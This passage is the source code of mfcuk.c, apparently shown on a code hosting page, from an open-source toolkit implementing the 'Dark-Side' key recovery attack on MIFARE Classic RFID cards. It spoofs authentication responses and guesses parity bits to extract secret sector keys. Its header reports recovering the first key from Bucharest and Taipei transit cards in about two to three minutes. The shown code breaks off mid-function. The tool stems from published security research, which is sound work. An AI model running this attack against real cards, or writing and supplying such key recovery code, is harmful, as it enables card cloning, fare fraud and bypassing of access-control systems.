選択できるのは25トピックまでです。 トピックは、先頭が英数字で、英数字とダッシュ('-')を使用した35文字以内のものにしてください。

mfcuk.c 69KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733
  1. /*
  2. LICENSE
  3. This program is free software: you can redistribute it and/or modify
  4. it under the terms of the GNU General Public License as published by
  5. the Free Software Foundation, either version 2 of the License, or
  6. (at your option) any later version.
  7. This program is distributed in the hope that it will be useful,
  8. but WITHOUT ANY WARRANTY; without even the implied warranty of
  9. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  10. GNU General Public License for more details.
  11. You should have received a copy of the GNU General Public License
  12. along with this program. If not, see <http://www.gnu.org/licenses/>.
  13. */
  14. /*
  15. Package:
  16. MiFare Classic Universal toolKit (MFCUK)
  17. Filename:
  18. mfcuk_keyrecovery_darkside.c
  19. Name:
  20. Mifare Classic "Dark-Side" Attack to reover at least 1 key for card where NO keys
  21. are known. Uses as a corner-stone the lfsr_common_prefix() from crapto1 3.1
  22. After this, the MFOC from Nethemba team is used to recover rest of the
  23. keys using "Nested-Authentication" Attack
  24. Description:
  25. Implementing Mifare Classic "Dark Side" Key Recovery attack from this paper:
  26. "THE DARK SIDE OF SECURITY BY OBSCURITY"
  27. http://eprint.iacr.org/2009/137.pdf
  28. For tag fixation it uses the DROP FIELD and CONSTANT DELAY after drop and
  29. before authentication technique. Most of the times it gives pretty good results.
  30. To improve the overall results, the Nt tag nonces are stored and looked-up in
  31. a sorted array of Nt entries. We can see it as a hash map/lookup table with
  32. resumable states for given tag nonces.
  33. cons - extends the timeslot of attack
  34. pros - makes attack more stable since tag nonce fixation is not as accurate
  35. on ACR122 as on Proxmark3 or other specialized devices
  36. License:
  37. GPL2 (see below), Copyright (C) 2009, Andrei Costin
  38. OS/Envs supported:
  39. Linux
  40. Windows
  41. MacOS
  42. Cygwin
  43. Hardware tested/supported:
  44. ACR 122U (usb)
  45. Compiling:
  46. Linux/MacOS/Cygwin
  47. gcc -o zv_mf_dark_side zv_mf_dark_side.c ./crapto1-v3.1/crapto1.c
  48. ./crapto1-v3.1/crypto1.c ./libnfc-v1.2.1/bin/libnfc.lib -lnfc
  49. -I./libnfc-v1.2.1/include -L./libnfc-v1.2.1/lib
  50. MSVS
  51. just copy an existing project (nfc-anticol for example) from libnfc-1.2.1-vs2005,
  52. add the crapto1 .c files to the project and zv_mf_dark_side.c
  53. Usage:
  54. ./mfcuk_keyrecovery_darkside -h
  55. c:\mfcuk_keyrecovery_darkside.exe -h
  56. Results:
  57. about 2 minutes to recover first key for RATB Bucharest cards (10ms & 50ms sleeps)
  58. about 3 minutes to recover first key for EasyCard Taipei (10ms & 50ms sleeps)
  59. Known Issues:
  60. 1. The tag fixation with ACR122 is not performing well if CPU is under high load (eg. Flash Movie playing in IE, etc.)
  61. 2. Either a bug in libnfc 1.2.1 or a bug in RATB card-types 0x88 consecutive authentication goes like - one fails, one ok, even though correct keys are used
  62. 2.a Maybe need to check AC bits?
  63. 2.b Maybe AC bits/0x88 cards need a read/write or failed operation in between for the "state" to be ok and next auth to be successful?
  64. Contact, bug-reports:
  65. http://andreicostin.com/
  66. mailto:zveriu@gmail.com
  67. Requirements:
  68. crapto1 library 3.1 (http://code.google.com/p/crapto1)
  69. libnfc 1.4.2 (http://www.libnfc.org)
  70. * @file mfcuk.c
  71. */
  72. /*
  73. VERSION HISTORY
  74. --------------------------------------------------------------------------------
  75. | Number : 0.1
  76. | dd/mm/yyyy : 14/11/2009
  77. | Author : zveriu@gmail.com, http://andreicostin.com
  78. | Description: Initial version as POC, Windows MS Visual Studio version only
  79. --------------------------------------------------------------------------------
  80. | Number : 0.2
  81. | dd/mm/yyyy : 14/11/2009
  82. | Author : zveriu@gmail.com, http://andreicostin.com
  83. | Description: Fixed some info; removed uneeded code, variables, commented lines;
  84. | proper identation; introduced some portability fixes;
  85. --------------------------------------------------------------------------------
  86. | Number : 0.3
  87. | dd/mm/yyyy : 14/11/2009
  88. | Author : zveriu@gmail.com, http://andreicostin.com
  89. | Description: Restructured the functionality into reusable modules, preparing
  90. | for MFCUK package and integration with MFOC; autogen and automake packaging;
  91. --------------------------------------------------------------------------------
  92. */
  93. #include "config.h"
  94. #include <stdio.h>
  95. #include <stdlib.h>
  96. #include <inttypes.h>
  97. #if defined(HAVE_SYS_TYPES_H)
  98. # include <sys/types.h>
  99. #endif
  100. #if defined(HAVE_SYS_ENDIAN_H)
  101. # include <sys/endian.h>
  102. #endif
  103. #if defined(HAVE_ENDIAN_H)
  104. # include <endian.h>
  105. #endif
  106. #if defined(HAVE_COREFOUNDATION_COREFOUNDATION_H)
  107. # include <CoreFoundation/CoreFoundation.h>
  108. #endif
  109. #if defined(HAVE_BYTESWAP_H)
  110. # include <byteswap.h>
  111. #endif
  112. #if defined (__GNUC__)
  113. # define GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__ * 10)
  114. # if GCC_VERSION >= 430
  115. // Since GCC >= 4.30, GCC provides __builtin_bswapXX() alternatives so we switch to them
  116. # undef bswap_16
  117. # define bswap_16 __builtin_bswap16
  118. # undef bswap_32
  119. # define bswap_32 __builtin_bswap32
  120. # undef bswap_64
  121. # define bswap_64 __builtin_bswap64
  122. # endif
  123. #endif
  124. // Fallback...
  125. #if !defined (bswap_16) || !defined (bswap_32) || !defined (bswap_64)
  126. # warning "No bswap function found! Using untested alternatives..."
  127. static inline uint16_t bswap_16(uint16_t x)
  128. {
  129. return (x >> 8) | (x << 8);
  130. }
  131. static inline uint32_t bswap_32(uint32_t x)
  132. {
  133. return (bswap_16(x & 0xffff) << 16) | (bswap_16(x >> 16));
  134. }
  135. static inline uint64_t bswap_64(uint64_t x)
  136. {
  137. return (((uint64_t)bswap_32(x & 0xffffffffull)) << 32) | (bswap_32(x >> 32));
  138. }
  139. #endif
  140. #include <string.h>
  141. #include <err.h>
  142. #include <errno.h>
  143. #ifdef WIN32
  144. #define NOMINMAX
  145. #include "windows.h"
  146. #include "xgetopt.h"
  147. #elif __STDC__
  148. #include <unistd.h>
  149. #include <sys/time.h>
  150. #include <sys/types.h>
  151. #endif
  152. // NFC
  153. #include <nfc/nfc.h>
  154. #include <nfc/nfc-types.h>
  155. // Crapto1
  156. #include "crapto1.h"
  157. // imported from libnfc's examples
  158. #include "mifare.h"
  159. #include "nfc-utils.h"
  160. // internal
  161. #include "mfcuk_mifare.h"
  162. #include "mfcuk_utils.h"
  163. #include "mfcuk_finger.h"
  164. #include "mfcuk.h"
  165. #define MAX_FRAME_LEN 264
  166. #ifdef DEBUG
  167. # warning Debug mode is enabled
  168. # define WARN(...) fprintf(stderr, "%s %d: ", __FILE__, __LINE__ ); warnx (" WARNING: " __VA_ARGS__ )
  169. # define ERR(...) fprintf(stderr, "%s %d: ", __FILE__, __LINE__ ); warnx (" ERROR " __VA_ARGS__ )
  170. #else
  171. # define WARN(...) warnx ("WARNING: " __VA_ARGS__ )
  172. # define ERR(...) warnx ("ERROR: " __VA_ARGS__ )
  173. #endif
  174. static uint32_t bswap_32_pu8(uint8_t *pu8)
  175. {
  176. // TODO: This function need to be tested on both endianness machine types
  177. return pu8[0] << 24 | pu8[1] << 16 | pu8[2] << 8 | pu8[3];
  178. }
  179. extern mfcuk_finger_tmpl_entry mfcuk_finger_db[];
  180. extern int mfcuk_finger_db_entries;
  181. // TODO: rename the array and number of items in array variable names
  182. tag_nonce_entry_t arrSpoofEntries[MAX_TAG_NONCES]; // "Cache" array of already received tag nonces, since we cannot 100% fix one tag nonce as of now
  183. uint32_t numSpoofEntries = 0; // Actual number of entries in the arrSpoofEntries
  184. uint32_t numAuthAttempts = 0; // Number of authentication attempts for Recovery of keys - used to statistics. TODO: implement proper statistics with timings, number of tries, etc.
  185. bool bfOpts[256] = {false}; // Command line options, indicates their presence, initialize with false
  186. uint8_t verboseLevel = 0; // No verbose level by default
  187. static const nfc_modulation nmMifare = {
  188. .nmt = NMT_ISO14443A,
  189. .nbr = NBR_106,
  190. };
  191. static int compareTagNonces(const void *a, const void *b)
  192. {
  193. // TODO: test the improvement (especially corner cases, over/under-flows) "return ( (*(uint32_t*)a) - (*(uint32_t*)b) );
  194. if (*(uint32_t *)a > *(uint32_t *)b) return 1;
  195. if (*(uint32_t *)a == *(uint32_t *)b) return 0;
  196. if (*(uint32_t *)a < * (uint32_t *)b) return -1;
  197. return 0; // Never reach here, but keep compilers happy
  198. }
  199. // TODO: combine mfcuk_verify_key_block() with mfcuk_recover_key_block(), since a lot of code is duplicate
  200. static uint32_t mfcuk_verify_key_block(nfc_device *pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, uint8_t bTagType, uint32_t uiBlock)
  201. {
  202. uint32_t pos;
  203. // Keystream related variables - for verification with Crapto1/Crypto1 rollback
  204. uint32_t nr_encrypted = 0;
  205. uint32_t reader_response = 0;
  206. uint32_t tag_response = 0;
  207. uint32_t ks2 = 0;
  208. uint32_t ks3 = 0;
  209. struct Crypto1State *pcs;
  210. uint64_t lfsr;
  211. // Communication related variables
  212. uint8_t abtAuth[4] = { 0x00, 0x00, 0x00, 0x00 };
  213. uint8_t abtArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  214. uint8_t abtArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  215. uint8_t abtRx[MAX_FRAME_LEN];
  216. uint8_t abtRxPar[MAX_FRAME_LEN];
  217. uint32_t nt, nt_orig; // Supplied tag nonce
  218. if ((bKeyType != keyA) && (bKeyType != keyB)) {
  219. return MFCUK_FAIL_KEYTYPE_INVALID;
  220. }
  221. if (!IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType)) {
  222. return MFCUK_FAIL_TAGTYPE_INVALID;
  223. }
  224. if (!is_valid_block(bTagType, uiBlock)) {
  225. return MFCUK_FAIL_BLOCK_INVALID;
  226. }
  227. // Configure the authentication frame using the supplied block
  228. abtAuth[0] = bKeyType;
  229. abtAuth[1] = uiBlock;
  230. iso14443a_crc_append(abtAuth, 2);
  231. // Now we take over, first we need full control over the CRC
  232. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false)) {
  233. return MFCUK_FAIL_COMM;
  234. }
  235. // We need to disable EASY_FRAMING feature to talk in "raw" mode
  236. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false);
  237. // Request plain tag-nonce
  238. if (0 > nfc_initiator_transceive_bytes(pnd, abtAuth, 4, abtRx, sizeof(abtRx), -1)) {
  239. return MFCUK_FAIL_COMM;
  240. }
  241. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true);
  242. // Save the tag nonce (nt)
  243. nt = bswap_32_pu8(abtRx);
  244. nt_orig = nt;
  245. // Init cipher with key
  246. pcs = crypto1_create(ui64Key);
  247. // Load (plain) uid^nt into the cipher
  248. for (pos = 0; pos < 4; pos++) {
  249. // Update the cipher with the tag-initialization
  250. crypto1_byte(pcs, ((uiUID >> (8 * (3 - pos))) & 0xFF) ^ abtRx[pos], 0);
  251. }
  252. // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
  253. for (pos = 0; pos < 4; pos++) {
  254. // Load in, and encrypt, the reader nonce (plain nr=0x00000000)
  255. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^ 0x00;
  256. // Encrypt the parity bits for the 4 plaintext bytes of nr
  257. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00);
  258. // Get the keystream encrypted Nr value currently loaded into the cypher, i.e. {Nr}
  259. nr_encrypted = nr_encrypted << 8;
  260. nr_encrypted = nr_encrypted | abtArEnc[pos];
  261. }
  262. // Skip 32 bits in pseudo random generator
  263. nt = prng_successor(nt, 32);
  264. // Generate reader-answer from tag-nonce (Ar)
  265. for (pos = 4; pos < 8; pos++) {
  266. // Get the next random byte for verify the reader to the tag
  267. nt = prng_successor(nt, 8);
  268. // Encrypt the reader-answer (nt' = suc2(nt))
  269. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^(nt & 0xff);
  270. // Encrypt the parity bits for the 4 plaintext bytes of nt'
  271. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt & 0xff);
  272. // Get the keystream encrypted reader response currently loaded into the cypher, i.e. {Ar}
  273. reader_response = reader_response << 8;
  274. reader_response = reader_response | abtArEnc[pos];
  275. }
  276. // Finally we want to send arbitrary parity bits
  277. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false)) {
  278. return MFCUK_FAIL_COMM;
  279. }
  280. int res;
  281. if (0 > (res = nfc_initiator_transceive_bits(pnd, abtArEnc, 64, abtArEncPar, abtRx, sizeof(abtRx), abtRxPar))) {
  282. return MFCUK_FAIL_AUTH;
  283. }
  284. crypto1_destroy(pcs);
  285. if (res == 32) {
  286. for (pos = 0; pos < 4; pos++) {
  287. tag_response = tag_response << 8;
  288. tag_response = tag_response | abtRx[pos];
  289. }
  290. ks2 = reader_response ^ prng_successor(nt_orig, 64);
  291. ks3 = tag_response ^ prng_successor(nt_orig, 96);
  292. pcs = lfsr_recovery64(ks2, ks3);
  293. lfsr_rollback_word(pcs, 0, 0);
  294. lfsr_rollback_word(pcs, 0, 0);
  295. lfsr_rollback_word(pcs, nr_encrypted, 1);
  296. lfsr_rollback_word(pcs, uiUID ^ nt_orig, 0);
  297. crypto1_get_lfsr(pcs, &lfsr);
  298. crypto1_destroy(pcs);
  299. if (lfsr != ui64Key) {
  300. return MFCUK_FAIL_CRAPTO;
  301. }
  302. } else {
  303. return MFCUK_FAIL_AUTH;
  304. }
  305. return MFCUK_SUCCESS;
  306. }
  307. static uint32_t mfcuk_key_recovery_block(nfc_device *pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, uint8_t bTagType, uint32_t uiBlock, uint64_t *ui64KeyRecovered)
  308. {
  309. // Communication variables
  310. uint32_t pos, pos2, nt;
  311. struct Crypto1State *pcs;
  312. uint8_t abtAuth[4] = { 0x60, 0x00, 0x00, 0x00 };
  313. uint8_t abtArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  314. uint8_t abtArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  315. uint8_t abtRx[MAX_FRAME_LEN];
  316. uint8_t abtRxPar[MAX_FRAME_LEN];
  317. // zveriu
  318. static uint32_t nt_orig = 0;
  319. char sendSpoofAr = 0; // We want to spoof the Ar response with all 0s and the use random parity bits for that Nt until we have a successful 4 bits response (0x5)
  320. tag_nonce_entry_t *ptrFoundTagNonceEntry = NULL;
  321. // Key-recovery variables
  322. struct Crypto1State *states_list;
  323. struct Crypto1State *current_state;
  324. uint32_t i;
  325. uint64_t key_recovered;
  326. uint8_t flag_key_recovered = 0; // FIXME: fix the {Nr} iteration properly. This a quick fix for cases when 0xDEADBEEF {Nr} is not working
  327. if ((bKeyType != keyA) && (bKeyType != keyB)) {
  328. return MFCUK_FAIL_KEYTYPE_INVALID;
  329. }
  330. if (!IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType)) {
  331. return MFCUK_FAIL_TAGTYPE_INVALID;
  332. }
  333. if (!is_valid_block(bTagType, uiBlock)) {
  334. return MFCUK_FAIL_BLOCK_INVALID;
  335. }
  336. // Configure the authentication frame using the supplied block
  337. abtAuth[0] = bKeyType;
  338. abtAuth[1] = uiBlock;
  339. iso14443a_crc_append(abtAuth, 2);
  340. // Now we take over, first we need full control over the CRC
  341. nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false);
  342. // We need to disable EASY_FRAMING feature to talk in "raw" mode
  343. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false);
  344. // Request plain tag-nonce
  345. //printf("Nt: ");
  346. if (0 > nfc_initiator_transceive_bytes(pnd, abtAuth, 4, abtRx, sizeof(abtRx), -1)) {
  347. //printf("\n\nFAILURE - Failed to get TAG NONCE!!!\n\n");
  348. return MFCUK_FAIL_COMM;
  349. }
  350. nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true);
  351. //print_hex(abtRx,4);
  352. // Save the tag nonce (nt)
  353. nt = bswap_32_pu8(abtRx);
  354. // zveriu
  355. //printf("INFO - Nonce distance %d (from 0x%08x, to 0x%08x)\n", nonce_distance(nt, nt_orig), nt, nt_orig);
  356. nt_orig = nt;
  357. // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
  358. ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
  359. // A new tag nonce detected, initialize it properly and store in the tag nonce "cache" array for use in it's next appearances
  360. if (!ptrFoundTagNonceEntry) {
  361. if (numSpoofEntries >= MAX_TAG_NONCES) {
  362. //printf("\n\nFAILURE - REACHED MAX_TAG_NONCES!!! (Are we so unlucky or the USB/reader is buggy?!)\n\n");
  363. return MFCUK_FAIL_MEMORY;
  364. }
  365. arrSpoofEntries[numSpoofEntries].tagNonce = nt_orig;
  366. arrSpoofEntries[numSpoofEntries].num_of_appearances = 1;
  367. numSpoofEntries++;
  368. // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
  369. qsort(arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
  370. ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
  371. // Put the initializations done in abtRxLen == 32 section here also because maybe we don't know the key actually
  372. ptrFoundTagNonceEntry->spoofFlag = 1;
  373. // Hardcoding {Nr} and {Ar} and try to guess parity bits
  374. ptrFoundTagNonceEntry->spoofNrEnc = MFCUK_DARKSIDE_START_NR;
  375. ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR;
  376. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  377. // First we need to satisfy STAGE1
  378. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  379. } else {
  380. ptrFoundTagNonceEntry->num_of_appearances++;
  381. if ( // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr}
  382. (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) ||
  383. // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK
  384. ((ptrFoundTagNonceEntry->current_out_of_8 >= 0) && (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20))
  385. ) {
  386. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  387. ptrFoundTagNonceEntry->spoofNrEnc++;
  388. ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR;
  389. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  390. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  391. return MFCUK_FAIL_AUTH;
  392. }
  393. /*
  394. // TODO: if above block is working fine, delete this commented - above one created to reduce code-duplication
  395. // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr}
  396. if (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS)
  397. {
  398. //printf("FAILURE - This Nt, {Pfx}, consecutive {Nr}s and {ParBits} combination cannot produce a key-recoverable state\n");
  399. //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n");
  400. //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n");
  401. ptrFoundTagNonceEntry->spoofNrEnc++;
  402. ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE;
  403. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  404. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  405. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  406. return MFCUK_FAIL_AUTH;
  407. }
  408. if (ptrFoundTagNonceEntry->current_out_of_8 >= 0)
  409. {
  410. // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK
  411. if (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20)
  412. {
  413. //printf("FAILURE - This consecutive {Nr}s and {ParBits} combination cannot produce all 8 required NACKs and KSs of NACKs\n");
  414. //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n");
  415. //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n");
  416. ptrFoundTagNonceEntry->spoofNrEnc++;
  417. ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE;
  418. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  419. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  420. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  421. return MFCUK_FAIL_AUTH;
  422. }
  423. }
  424. */
  425. }
  426. sendSpoofAr = ptrFoundTagNonceEntry->spoofFlag;
  427. // Init cipher with key
  428. pcs = crypto1_create(ui64Key);
  429. // Load (plain) uid^nt into the cipher
  430. for (pos = 0; pos < 4; pos++) {
  431. // Update the cipher with the tag-initialization
  432. // TODO: remove later - crypto1_byte(pcs, pbtUid[pos]^abtRx[pos], 0);
  433. crypto1_byte(pcs, ((uiUID >> (8 * (3 - pos))) & 0xFF) ^ abtRx[pos], 0);
  434. }
  435. // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
  436. for (pos = 0; pos < 4; pos++) {
  437. // Load in, and encrypt, the reader nonce (plain nr=0x00000000)
  438. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^ 0x00;
  439. // Encrypt the parity bits for the 4 plaintext bytes of nr
  440. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00);
  441. if (sendSpoofAr) {
  442. if (ptrFoundTagNonceEntry->current_out_of_8 < 0) {
  443. abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofNrEnc >> (8 * (3 - pos))) & 0xFF;
  444. abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7 - pos)) & 0x01;
  445. } else {
  446. abtArEnc[pos] = (ptrFoundTagNonceEntry->nrEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8 * (3 - pos))) & 0xFF;
  447. abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7 - pos)) & 0x01;
  448. }
  449. }
  450. }
  451. // Skip 32 bits in pseudo random generator
  452. nt = prng_successor(nt, 32);
  453. // Generate reader-answer from tag-nonce (Ar)
  454. for (pos = 4; pos < 8; pos++) {
  455. // Get the next random byte for verify the reader to the tag
  456. nt = prng_successor(nt, 8);
  457. // Encrypt the reader-answer (nt' = suc2(nt))
  458. abtArEnc[pos] = crypto1_byte(pcs, 0x00, 0) ^(nt & 0xff);
  459. // Encrypt the parity bits for the 4 plaintext bytes of nt'
  460. abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt & 0xff);
  461. // zveriu - Make the Ar incorrect, but leave parity bits calculated/guessed_spoofed as above
  462. /* If all eight parity bits are correct, but the answer Ar is
  463. wrong, the tag responds with the 4-bit error code 0x5
  464. signifying failed authentication, called ‘transmission error’ in [KHG08].
  465. */
  466. if (sendSpoofAr) {
  467. if (ptrFoundTagNonceEntry->current_out_of_8 < 0) {
  468. abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofArEnc >> (8 * (7 - pos))) & 0xFF;
  469. abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7 - pos)) & 0x01;
  470. } else {
  471. abtArEnc[pos] = (ptrFoundTagNonceEntry->arEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8 * (7 - pos))) & 0xFF;
  472. abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7 - pos)) & 0x01;
  473. }
  474. }
  475. }
  476. if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) {
  477. // Prepare for the next round (if this one is not successful) the next 5 bit combination for current parity bits
  478. ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]++;
  479. }
  480. // Finally we want to send arbitrary parity bits
  481. nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false);
  482. // Transmit reader-answer
  483. //printf(" Ar: ");
  484. //print_hex_par(abtArEnc,64,abtArEncPar);
  485. int res;
  486. if (0 > (res = nfc_initiator_transceive_bits(pnd, abtArEnc, 64, abtArEncPar, abtRx, sizeof(abtRx), abtRxPar))) {
  487. if (sendSpoofAr) {
  488. ptrFoundTagNonceEntry->spoofParBitsEnc++;
  489. }
  490. return MFCUK_FAIL_AUTH;
  491. }
  492. // zveriu - Successful: either authentication (szRx == 32) either encrypted 0x5 reponse (szRx == 4)
  493. if (res == 4) {
  494. //printf("INFO - 4-bit (szRx=%d) error code 0x5 encrypted (abtRx=0x%02x)\n", szRx, abtRx[0] & 0xf);
  495. if (ptrFoundTagNonceEntry->current_out_of_8 < 0) {
  496. ptrFoundTagNonceEntry->spoofNackEnc = abtRx[0] & 0xf;
  497. ptrFoundTagNonceEntry->spoofKs = ptrFoundTagNonceEntry->spoofNackEnc ^ 0x5;
